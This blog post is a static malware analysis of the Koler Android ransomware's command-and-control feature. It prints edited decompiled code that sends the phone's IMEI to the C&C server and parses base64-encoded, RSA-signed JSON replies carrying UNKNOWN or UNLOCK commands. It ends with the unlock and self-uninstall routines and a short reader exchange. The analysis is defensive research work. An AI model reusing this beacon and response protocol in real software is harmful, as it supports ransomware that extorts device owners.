As promised, I’m writing a new post about Koler. This time I’ll talk about the communication between the mobile phone and the external domain because the malware makes use of a minimal C&C feature.
There are mainly two classes that are responsible of the interaction: com.android.6589y459gj4058rtgc.6589y459gj4058rtga and com.android.6589y459gj4058rtgd.6589y459gj4058rtgb. The flow of the program is guided by many conditional checks over some boolean flags. The flags are used to store the status of things like screen_is_off/screen_is_on/activity_is_stopped/etc.. I won’t put all these conditional checks in the analysis, because I want to write something as clean as possible focusing my attention to the client-server communication only; moreover it’s a detail you may easily check by yourself.
Everything starts from the run method of a thread (look inside com.android.6589y459gj4058rtgc.6589y459gj4058rtga), the client contacts the server passing a parameter to it. The parameter is an URI containing a string in this format: “random_string=mobile_phone_imei”. The random string len is 0x0A chars.
private final java.lang.String 6589y459gj4058rtgb(java.net.URI p1) { v0 = null; // Create HttpGet instance HttpGet httpGet = new org.apache.http.client.methods.HttpGet(p1); BasicHttpParams params = new org.apache.http.params.BasicHttpParams(); org.apache.http.params.HttpConnectionParams.setConnectionTimeout(params, 0xBB8); org.apache.http.params.HttpConnectionParams.setSoTimeout(params, 0x1388); // Create Http Client DefaultHttpClient httpClient = new org.apache.http.impl.client.DefaultHttpClient(params); HttpResponse response = httpClient.execute(httpGet); if (response != null) goto _response_not_null; _return: return(v0); _response_not_null: if (response.getStatusLine() == null) goto _return; int statusCode = response.getStatusLine().getStatusCode(); if (statusCode != 0xC8) goto _return; // 0xC8 (200) is OK InputStream is = response.getEntity().getContent(); // Convert response to string InputStreamReader isReader = new java.io.InputStreamReader(is); BufferedReader bReader = new java.io.BufferedReader(isReader); v0 = ""; _read_line_from_domain: // Create a string with data from domain String line = bReader.readLine(); if (line == null) goto _close_input_stream_reader; StringBuilder sBuilder = new java.lang.StringBuilder(); v0 = sBuilder.append(v0); v0 = v0.append(line); if (6589y459gj4058rtgc != 0) goto _return; if (6589y459gj4058rtgc == 0) goto _read_line_from_domain; // Goto if port number has been specified as int via init _close_input_stream_reader: is.close(); goto _return;
It returns null or a response string from the server. This is a standard piece of code used to get the reply from the server. Unfortunately I can’t dynamically check the response string because -fortunately- the domains are not working anymore. Luckily the run method contains a call to a method used to check the returned string. Let’s see if I can reconstruct the format of the response string.
The method is declared inside LockActivity and the declaration is:
public void 6589y459gj4058rtga(java.lang.String p1)
The execution of this method represents the end of the thread’s run, and since of this called method doesn’t return anything it’s likely to assume that something important could be inside it. The parameter is the response from the server.
if (p1 != null) goto _parameter_is_not_null; 6589y459gj4058rtgc(); // Send FIND_VALID_DOMAIN return; _parameter_is_not_null: ...
Here’s the first information about the response string, it can be empty. From my previous article about Koler I know that FIND_VALID_DOMAIN is used to load one of the hardcoded domain page on the mobile phone browser. The page contains the ransom advice.
Ok, it’s time to understand what should happen when the response string is not empty. The first thing you’ll notice is the use of a specific resource:
v1 = this->getResources()->openRawResource(0x7F040000); // <public type="raw" name="pubkey" id="0x7f040000" />
The resource is just a sequence of 162 bytes. The author named it pubkey, a quite suspicious name. The bytes sequence is passed as a parameter to another interesting method:
v2 = new com.android.6589y459gj4058rtgd.6589y459gj4058rtgb(p1, v0);
A new instance of the class com.android.6589y459gj4058rtgd.6589y459gj4058rtgb, p1 is the response string and v0 the pubkey. The body of the initialization method is short and easy to understand:
public void <init>(java.lang.String p1, Array of byte p2) { java.lang.Object(); this.6589y459gj4058rtgd = p1; 6589y459gj4058rtga(p2); return; } private final void 6589y459gj4058rtga(Array of byte p1) { KeyFactory kf = java.security.KeyFactory->getInstance("RSA"); X509EncodedKeySpec kSpec = new java.security.spec.X509EncodedKeySpec(p1); this->6589y459gj4058rtge = kf->generatePublic(kSpec); }
Here’s the first step inside this new class. The response string is stored inside a field, and pubkey is used to generate a RSA public key. The next called method will make use of the stored string:
public final com.android.6589y459gj4058rtgd.6589y459gj4058rtga 6589y459gj4058rtga() { String decoded = new java.lang.String(android.util.Base64.decode(this.6589y459gj4058rtgd, 0x00)); // Decode response string JSONObject jSon = new org.json.JSONObject(decoded);
Here we are: JSONObject. JSON is a simple data format used to exchange information between client and server. A new JSONObject is created with a parameter, it’s a string obtained from a Base64 decode operation over the response string. Now I know that the communication between server and client is encoded, and I can start imaging the format of a possible response string:
{ “field_1”:”val1”, “field_2”:”val2”, “field_3”:”val_3”... }
I don’t know what’s the real content of the decoded response string yet, but I could have an idea of what it looks like. The next snippet does a parse of the decoded string:
String s = jSon.getString(6589y459gj4058rtgc); // 6589y459gj4058rtgc = "sign" v5 = android.util.Base64.decode(s, 0x00); // Decode the “sign” data field if (v5 != null) goto _82; v0 = com.android.6589y459gj4058rtgd.6589y459gj4058rtga.UNKNOWN; _7c: return(v0); _82: …
Here’s the current format of the response string passed to the client by the server:
{ “sign”=”base64_encoded_string” }
Another base64 encoded string, if the sign string is null the returned com.android.6589y459gj4058rtgd.6589y459gj4058rtga values is UNKNOWN.
Now, suppose sign is not null and the base64 decoding process is a success:
_82: String str = new java.lang.String(jSon.getString(6589y459gj4058rtgb); // 6589y459gj4058rtgb = "data" str = android.util.Base64.decode(str, 0x00); // Decode the “data” field string JSONObject jS = new org.json.JSONObject(str); String sTag = jS.getString("tag"); // Get "tag" contents sTag = com.android.6589y459gj4058rtgd.6589y459gj4058rtga.valueOf(sTag.toUpperCase()); // UNKNOWN or UNLOCK String time = jS.getString("time"); // Get “time” contents sTag.6589y459gj4058rtga(java.lang.Long.parseLong(time)); // com.android.6589y459gj4058rtgd.6589y459gj4058rtga.6589y459gj4058rtga ... v0 = sTag; goto _7c;
The Json object definition is complete now:
{ “sign”=”base64_encoded_string”,”data”=”base64_encoded_JSONObject” }
and what I called base64_encoded_JSONObject looks like the following decoded object:
{ “tag”=”UNKNOWN_or_UNLOCK”,”time”=”time_string” }
The returned value from this current method is strictly related to the tag value of the encapsulated Json object. Ok, we can go back to LockActivity code:
v0 = v2->6589y459gj4058rtga(); // The last method I've commented, it returns UNKNOWN or UNLOCK v1 = com.android.6589y459gj4058rtgd.6589y459gj4058rtga->UNLOCK; if (v0 != v1) goto return; // Goto if UNKNOWN // UNLOCK v0 = v2->6589y459gj4058rtga(v0); // Check over current day of the year if (v0 != false) goto return; 6589y459gj4058rtgh(); // Send SETUNLOCK message this->6589y459gj4058rtge->6589y459gj4058rtga(this); // Send UNINSTALL message
Here’s the final check over the UNKNOWN/UNLOCK value obtained from the response string. I already said what UNKNOWN means, it’s time to see what happens when UNLOCK tag has been received.
First of all there’s a check over the Json time field value passed from the server, if the current day is equal to the one specified by the server I got false into v0 and SET_UNLOCK–UNINSTALL messages are sent to the message handler. The day-check is done comparing the current day, month and year.
I didn’t say a lot about these two messages in the first part of the tutorial, it’s the right time to have a quick look at them:
// SetUnlock method private final void 6589y459gj4058rtgc() { SharedPreferences newPref = this.6589y459gj4058rtga.getSharedPreferences("settings", false); SharedPreferences.Editor prefEditor = newPref.edit(); newPref.putBoolean("do.uninstall", true); newPref.commit(); if (!check_cast(this.6589y459gj4058rtga, "com.android.LockActivity")) throws ClassCastException; this.6589y459gj4058rtga.6589y459gj4058rtga(TRUE); // IsOnPause flag } // Uninstall method (pseudo code) private final void 6589y459gj4058rtgb() { v3 = "package:" + this.6589y459gj4058rtga.getApplicationContext().getPackageName(); v1 = new android.content.Intent("android.intent.action.DELETE", v3); this.6589y459gj4058rtga.startActivityForResult(v1, 0xFFFFFFFFFFFFFFFF;); }
SetUnlock lays the foundation and Uninstall provides to uninstall the package.
To sum-up, as far as I’ve seen UNKNOWN and UNLOCK are the only two commands from Koler’s C&C feature. The first one is used to show the ransom advice located on a domain web page. The other one –UNLOCK– *should* remove the malware from the system. I can’t be 100% sure because I’m doing a static analysis and I can’t test a real response from the server.
awesome article~~~~by the way, which decompiler do u use in you article? it looks not like DexInspector..
Thx. The code doesn’t come from a direct decompilation. To make it readable I slightly edited the output produced by the decompiler.